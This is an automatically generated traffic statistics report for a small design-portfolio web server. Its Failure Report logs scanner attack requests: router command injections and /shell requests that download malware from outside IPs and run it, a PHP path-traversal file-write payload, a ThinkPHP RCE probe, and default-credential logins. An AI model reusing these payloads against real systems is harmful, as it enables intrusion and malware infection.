Program started at Fri-14-Mar-2025 00:05.
Analysed requests from Sat-14-Dec-2024 00:04 to Fri-14-Mar-2025 00:00 (90.00 days).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report contains overall statistics.
Figures in parentheses refer to the 7-day period ending 14-Mar-2025 00:05.
Successful requests: 12,095 (1,172)
Average successful requests per day: 134 (167)
Successful requests for pages: 9,879 (924)
Average successful requests for pages per day: 109 (131)
Failed requests: 13,107 (1,241)
Redirected requests: 6 (0)
Distinct files requested: 618 (484)
Distinct hosts served: 2,225 (216)
Corrupt logfile lines: 314
Unwanted logfile entries: 219,049
Data transferred: 113.28 megabytes (17.85 megabytes)
Average data transferred per day: 1.26 megabytes (2.55 megabytes)
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the activity in each month.
Each unit () represents 100 requests for pages or part thereof.
month | reqs | pages | |
---|---|---|---|
Dec 2024 | 2318 | 1925 | ![]() ![]() |
Jan 2025 | 4396 | 3575 | ![]() ![]() |
Feb 2025 | 3463 | 2820 | ![]() ![]() ![]() ![]() |
Mar 2025 | 1918 | 1559 | ![]() |
Busiest month: Jan 2025 (3,575 requests for pages).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the activity in each week.
Each unit () represents 30 requests for pages or part thereof.
week beg. | reqs | pages | |
---|---|---|---|
8/Dec/24 | 57 | 57 | ![]() |
15/Dec/24 | 768 | 629 | ![]() ![]() ![]() |
22/Dec/24 | 1281 | 1027 | ![]() ![]() ![]() |
29/Dec/24 | 654 | 543 | ![]() ![]() ![]() |
5/Jan/25 | 933 | 822 | ![]() ![]() ![]() |
12/Jan/25 | 1064 | 845 | ![]() ![]() ![]() ![]() |
19/Jan/25 | 768 | 646 | ![]() ![]() ![]() |
26/Jan/25 | 1234 | 976 | ![]() ![]() |
2/Feb/25 | 686 | 571 | ![]() ![]() |
9/Feb/25 | 621 | 496 | ![]() ![]() |
16/Feb/25 | 889 | 743 | ![]() ![]() ![]() |
23/Feb/25 | 1306 | 1049 | ![]() ![]() ![]() |
2/Mar/25 | 1343 | 1096 | ![]() ![]() ![]() |
9/Mar/25 | 491 | 379 | ![]() ![]() ![]() |
Busiest week: week beginning 2/Mar/25 (1,096 requests for pages).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the activity in each day.
Each unit () represents 15 requests for pages or part thereof.
date | reqs | pages | |
---|---|---|---|
1/Feb/25 | 45 | 45 | ![]() ![]() |
2/Feb/25 | 116 | 116 | ![]() |
3/Feb/25 | 50 | 50 | ![]() |
4/Feb/25 | 67 | 65 | ![]() ![]() |
5/Feb/25 | 255 | 144 | ![]() ![]() |
6/Feb/25 | 86 | 84 | ![]() ![]() |
7/Feb/25 | 54 | 54 | ![]() |
8/Feb/25 | 58 | 58 | ![]() |
9/Feb/25 | 85 | 85 | ![]() ![]() |
10/Feb/25 | 73 | 73 | ![]() ![]() |
11/Feb/25 | 74 | 62 | ![]() ![]() |
12/Feb/25 | 220 | 109 | ![]() |
13/Feb/25 | 63 | 61 | ![]() ![]() |
14/Feb/25 | 58 | 58 | ![]() |
15/Feb/25 | 48 | 48 | ![]() |
16/Feb/25 | 101 | 101 | ![]() ![]() ![]() |
17/Feb/25 | 117 | 115 | ![]() |
18/Feb/25 | 132 | 132 | ![]() ![]() |
19/Feb/25 | 238 | 127 | ![]() ![]() |
20/Feb/25 | 70 | 65 | ![]() ![]() |
21/Feb/25 | 162 | 134 | ![]() ![]() |
22/Feb/25 | 69 | 69 | ![]() ![]() |
23/Feb/25 | 105 | 105 | ![]() ![]() ![]() |
24/Feb/25 | 97 | 97 | ![]() ![]() ![]() |
25/Feb/25 | 117 | 108 | ![]() |
26/Feb/25 | 266 | 155 | ![]() ![]() ![]() |
27/Feb/25 | 565 | 428 | ![]() ![]() ![]() ![]() |
28/Feb/25 | 72 | 72 | ![]() ![]() |
1/Mar/25 | 84 | 84 | ![]() ![]() |
2/Mar/25 | 90 | 90 | ![]() ![]() |
3/Mar/25 | 158 | 158 | ![]() ![]() ![]() |
4/Mar/25 | 62 | 62 | ![]() ![]() |
5/Mar/25 | 216 | 105 | ![]() ![]() ![]() |
6/Mar/25 | 136 | 136 | ![]() ![]() |
7/Mar/25 | 93 | 92 | ![]() ![]() ![]() |
8/Mar/25 | 588 | 453 | ![]() ![]() ![]() ![]() ![]() |
9/Mar/25 | 69 | 69 | ![]() ![]() |
10/Mar/25 | 52 | 52 | ![]() |
11/Mar/25 | 55 | 55 | ![]() |
12/Mar/25 | 228 | 117 | ![]() |
13/Mar/25 | 86 | 85 | ![]() ![]() |
14/Mar/25 | 1 | 1 | ![]() |
Busiest day: 8/Mar/25 (453 requests for pages).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the total activity for each day of the week, summed over all the weeks in the report.
Each unit () represents 40 requests for pages or part thereof.
day | reqs | pages | |
---|---|---|---|
Sun | 1724 | 1581 | ![]() ![]() |
Mon | 1588 | 1449 | ![]() ![]() ![]() |
Tue | 1157 | 1111 | ![]() ![]() ![]() |
Wed | 3276 | 1825 | ![]() ![]() ![]() ![]() |
Thu | 1599 | 1444 | ![]() ![]() ![]() |
Fri | 1044 | 1013 | ![]() ![]() ![]() |
Sat | 1707 | 1456 | ![]() ![]() ![]() |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the total activity for each hour of the day, summed over all the days in the report.
Each unit () represents 30 requests for pages or part thereof.
hour | reqs | pages | |
---|---|---|---|
0 | 379 | 377 | ![]() ![]() ![]() |
1 | 554 | 449 | ![]() ![]() ![]() ![]() |
2 | 306 | 301 | ![]() ![]() ![]() |
3 | 215 | 215 | ![]() |
4 | 2640 | 1173 | ![]() ![]() |
5 | 471 | 354 | ![]() ![]() |
6 | 897 | 734 | ![]() ![]() ![]() |
7 | 413 | 399 | ![]() ![]() ![]() |
8 | 1350 | 1074 | ![]() ![]() |
9 | 416 | 403 | ![]() ![]() ![]() |
10 | 376 | 373 | ![]() ![]() ![]() |
11 | 405 | 391 | ![]() ![]() ![]() |
12 | 316 | 307 | ![]() ![]() ![]() |
13 | 375 | 372 | ![]() ![]() ![]() |
14 | 314 | 312 | ![]() ![]() ![]() |
15 | 283 | 283 | ![]() ![]() |
16 | 276 | 276 | ![]() ![]() |
17 | 323 | 323 | ![]() ![]() ![]() |
18 | 295 | 283 | ![]() ![]() |
19 | 294 | 294 | ![]() ![]() |
20 | 325 | 325 | ![]() ![]() ![]() |
21 | 304 | 301 | ![]() ![]() ![]() |
22 | 264 | 262 | ![]() ![]() |
23 | 304 | 298 | ![]() ![]() |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the countries of the computers which requested files.
Listing domains, sorted by the amount of traffic.
reqs | %bytes | domain |
---|---|---|
12095 | 100% | [unresolved numerical addresses] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the organisations of the computers which requested files.
Listing the top 20 organisations by the number of requests, sorted by the number of requests.
reqs | %bytes | organisation |
---|---|---|
1518 | 0.71% | 52 |
1444 | 41.36% | 146.70 |
496 | 1.86% | 95 |
481 | 13.78% | 185.24 |
460 | 0.56% | 34 |
381 | 1.40% | 193.68 |
366 | 0.37% | 3 |
335 | 0.43% | 51 |
281 | 1.04% | 45 |
276 | 12.87% | 4 |
241 | 0.48% | 35 |
234 | 0.87% | 46 |
195 | 0.72% | 179.43 |
176 | 0.22% | 15 |
161 | 0.20% | 152.32 |
156 | 0.57% | 141.98 |
139 | 0.51% | 146.19 |
135 | 0.50% | 80.82 |
129 | 0.48% | 195.3 |
122 | 0.45% | 167.94 |
4369 | 20.61% | [not listed: 521 organisations] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the computers which requested files.
Listing the top 50 hosts by the number of requests, sorted alphabetically.
reqs | %bytes | host |
---|---|---|
302 | 0.14% | 3.248.77.100 |
265 | 12.82% | 4.227.36.86 |
102 | 0.37% | 5.181.190.248 |
156 | 0.16% | 15.222.77.46 |
39 | 0.05% | 34.22.213.78 |
156 | 0.16% | 34.124.121.122 |
151 | 0.07% | 34.250.12.251 |
39 | 0.05% | 35.189.232.73 |
40 | 0.05% | 35.190.205.136 |
39 | 0.05% | 35.195.72.149 |
48 | 0.18% | 45.148.10.90 |
174 | 0.65% | 46.19.138.234 |
286 | 0.28% | 51.254.59.113 |
151 | 0.07% | 52.16.60.102 |
453 | 0.20% | 52.48.53.149 |
906 | 0.41% | 52.209.144.229 |
121 | 0.45% | 80.82.77.202 |
71 | 0.26% | 80.94.93.191 |
76 | 0.28% | 92.255.57.58 |
89 | 0.33% | 93.174.93.12 |
103 | 0.38% | 95.214.53.205 |
39 | 0.14% | 95.214.55.32 |
86 | 0.32% | 95.214.55.43 |
51 | 0.19% | 95.214.55.226 |
53 | 0.19% | 109.236.61.115 |
91 | 0.33% | 141.98.11.155 |
47 | 0.17% | 141.255.166.90 |
110 | 0.40% | 146.19.24.168 |
481 | 13.79% | 146.70.116.120 |
481 | 13.78% | 146.70.116.146 |
482 | 13.79% | 146.70.116.152 |
39 | 0.04% | 154.16.81.100 |
39 | 0.04% | 173.239.194.156 |
39 | 0.04% | 173.239.194.192 |
147 | 0.55% | 179.43.191.146 |
39 | 0.04% | 179.61.240.101 |
39 | 0.04% | 181.214.199.120 |
97 | 4.35% | 183.207.48.161 |
50 | 0.19% | 185.16.39.104 |
481 | 13.78% | 185.24.11.137 |
85 | 0.31% | 185.191.126.213 |
121 | 0.44% | 185.196.220.253 |
77 | 0.28% | 185.242.226.116 |
79 | 0.29% | 193.34.212.75 |
263 | 0.97% | 193.68.89.10 |
117 | 0.43% | 193.68.89.51 |
120 | 0.44% | 195.3.223.55 |
41 | 0.15% | 195.178.110.163 |
56 | 0.21% | 204.76.203.15 |
39 | 0.04% | 207.154.213.201 |
4439 | 16.86% | [not listed: 2,175 hosts] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the referrers (where people followed links from, or pages which included this site's images).
Listing referring URLs with at least 20 requests, sorted by the number of requests.
reqs | URL |
---|---|
260 | http://216.92.216.140/ |
61 | [not listed: 20 URLs] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the directories from which files were requested. (The figures for each directory include all of its subdirectories.)
Listing directories with at least 0.01% of the traffic, sorted by the amount of traffic.
reqs | %bytes | directory |
---|---|---|
6247 | 22.85% | [root directory] |
206 | 12.07% | /saffronrouge/ |
228 | 9.34% | /therastep/ |
194 | 5.98% | /littlebrownpen/ |
323 | 5.90% | /mark/ |
120 | 4.23% | /nova AR/ |
301 | 4.10% | /lumilux/ |
342 | 3.95% | /bankofamerica/ |
247 | 3.91% | /therapie/ |
132 | 2.84% | /vermont/ |
179 | 2.54% | /3slcreative/ |
139 | 2.46% | /bestow/ |
123 | 2.43% | /misc. portfolio pieces/ |
156 | 2.10% | /medjourneys/ |
142 | 2.08% | /MGA/ |
100 | 2.02% | /jihee new york/ |
143 | 2.01% | /lexie/ |
177 | 1.77% | /johnlegend/ |
134 | 1.71% | /HLB/ |
122 | 1.28% | /auntjeanstoys/ |
152 | 1.26% | /JK/ |
523 | 1.06% | /photos/ |
121 | 0.73% | /kco/ |
314 | 0.52% | /WWW_REPORTS/ |
104 | 0.19% | /copywriter girl/ |
198 | 0.12% | /images/ |
112 | 0.11% | /pramata/ |
182 | 0.11% | /lease/ |
140 | 0.10% | /gateway/ |
103 | 0.05% | /injured/ |
98 | 0.05% | /clove2.pairserver.com/ |
115 | 0.05% | /icons/ |
93 | 0.05% | /trishul/ |
84 | 0.05% | /myturtleneck.pairserver.com/ |
1 | [not listed: 1 directory] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the files that caused failures, for example files not found.
Listing the top 30 files by the number of failed requests, sorted by the number of failed requests.
reqs | file |
---|---|
1122 | /x16/x03/x01 |
589 | /.env |
555 | /favicon.ico |
360 | / |
220 | /x16/x03/x02/x01o/x01 |
158 | /cgi-bin/luci/ |
53 | /cgi-bin/luci/?form=country&operation=write&country=$(id>`wget+http://103.149.87.69/t+-O-+|+sh`) |
22 | /cgi-bin/luci/?form=country&operation=write&country=$(id>`wget+http://103.163.215.73/moo+-O-+|+sh`) |
155 | /login.rsp |
141 | /.git/config |
130 | * |
118 | /x03 |
112 | /index.php |
35 | /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\"hi\"));?>+/tmp/index1.php |
35 | /index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello |
34 | /index.php?lang=../../../../../../../../tmp/index1 |
111 | /x16/x03/x01/x05/xa8/x01 |
85 | /geoserver/web/ |
84 | /actuator/gateway/routes |
75 | /_profiler/phpinfo |
74 | /shell |
12 | /shell?killall+-9+arm7;killall+-9+arm4;killall+-9+arm;killall+-9+/bin/sh;killall+-9+/bin/sh;killall+-9+/z/bin;killall+-9+/bin/bash;cd+/tmp;rm+arm4+efefa7;wget+http:/\\/176.65.140.135/efefa7;chmod+777+efefa7;./efefa7+jaws;wget+http:/\\/176.65.140.135/drea4;chmod+777+drea4;./drea4+jaws |
12 | /shell?cd+/tmp;rm+-rf+j;nohup+wget+http:/\\/194.37.81.64/random.sh;chmod+777+random.sh;./random.sh |
68 | /fcgi-bin/ |
66 | /robots.txt |
64 | /password.php |
64 | /geoip/ |
64 | /t4 |
64 | /logon.htm |
64 | /1.php |
64 | /upl.php |
64 | /systembc/password.php |
64 | /form.html |
63 | /bin/sh |
62 | MGLNDD_216.92.216.140_80/n |
60 | /boaform/admin/formLogin |
15 | /boaform/admin/formLogin?username=admin&psd=admin |
11 | /boaform/admin/formLogin?username=ec8&psd=ec8 |
54 | /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php |
8067 | [not listed: 2,181 files] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the files on the site.
Listing files with at least 20 requests, sorted by the number of requests.
reqs | %bytes | last time | file |
---|---|---|---|
6247 | 22.85% | 14/Mar/25 00:00 | / |
77 | 0.28% | 8/Mar/25 16:52 | /?XDEBUG_SESSION_START=phpstorm |
115 | 0.07% | 13/Mar/25 10:06 | /HLB/ |
115 | 0.08% | 13/Mar/25 10:06 | /JK/ |
110 | 0.07% | 13/Mar/25 10:06 | /images/ |
107 | 0.10% | 13/Mar/25 10:06 | /3slcreative/ |
106 | 0.07% | 13/Mar/25 10:06 | /MGA/ |
105 | 0.11% | 13/Mar/25 10:06 | /bankofamerica/ |
105 | 0.07% | 13/Mar/25 10:06 | /WWW_REPORTS/ |
104 | 0.06% | 13/Mar/25 10:06 | /auntjeanstoys/ |
104 | 0.17% | 13/Mar/25 10:06 | /mark/ |
104 | 0.09% | 13/Mar/25 10:06 | /johnlegend/ |
104 | 0.07% | 13/Mar/25 10:06 | /gateway/ |
104 | 0.06% | 13/Mar/25 10:06 | /lease/ |
104 | 0.07% | 13/Mar/25 10:06 | /lexie/ |
103 | 0.07% | 13/Mar/25 10:06 | /bestow/ |
103 | 0.05% | 13/Mar/25 10:06 | /injured/ |
103 | 0.06% | 13/Mar/25 10:06 | /kco/ |
102 | 0.10% | 13/Mar/25 10:06 | /littlebrownpen/ |
102 | 0.08% | 13/Mar/25 10:06 | /medjourneys/ |
102 | 0.16% | 13/Mar/25 10:06 | /lumilux/ |
98 | 0.05% | 13/Mar/25 10:06 | /clove2.pairserver.com/ |
97 | 0.06% | 13/Mar/25 10:06 | /copywriter girl/ |
97 | 0.06% | 12/Mar/25 05:37 | /photos/ |
95 | 0.13% | 12/Mar/25 05:37 | /therapie/ |
95 | 0.06% | 13/Mar/25 10:06 | /jihee new york/ |
94 | 0.11% | 12/Mar/25 05:37 | /therastep/ |
93 | 0.10% | 12/Mar/25 05:37 | /saffronrouge/ |
93 | 0.05% | 12/Mar/25 05:37 | /trishul/ |
93 | 0.06% | 12/Mar/25 05:37 | /pramata/ |
93 | 0.07% | 12/Mar/25 05:37 | /vermont/ |
89 | 0.11% | 13/Mar/25 10:06 | /misc. portfolio pieces/ |
88 | 0.05% | 12/Mar/25 05:37 | /images/images/ |
84 | 0.05% | 12/Mar/25 05:37 | /myturtleneck.pairserver.com/ |
83 | 0.09% | 12/Mar/25 05:37 | /WWW_REPORTS/www/ |
83 | 0.10% | 12/Mar/25 05:37 | /nova AR/ |
81 | 0.20% | 12/Mar/25 05:37 | /photos/RESOURCE.FRK/ |
78 | 0.04% | 12/Mar/25 05:37 | /lease/RESOURCE.FRK/ |
77 | 0.08% | 12/Mar/25 05:37 | /bankofamerica/RESOURCE.FRK/ |
31 | 0.01% | 8/Mar/25 06:34 | /icons/blank.gif |
27 | 0.01% | 8/Mar/25 06:34 | /icons/folder.gif |
20 | 0.26% | 12/Mar/25 05:37 | /mark/mark_card1.jpg |
20 | 0.76% | 12/Mar/25 05:37 | /therapie/therapie_bewell_poster.jpg |
20 | 0.75% | 12/Mar/25 05:37 | /lexie/lexie9.jpg |
20 | 2.27% | 12/Mar/25 05:37 | /therastep/TS_brochure2.jpg |
20 | 1.51% | 13/Mar/25 09:22 | /vermont/doggie_apples.jpg |
2077 | 68.45% | 12/Mar/25 05:37 | [not listed: 133 files] |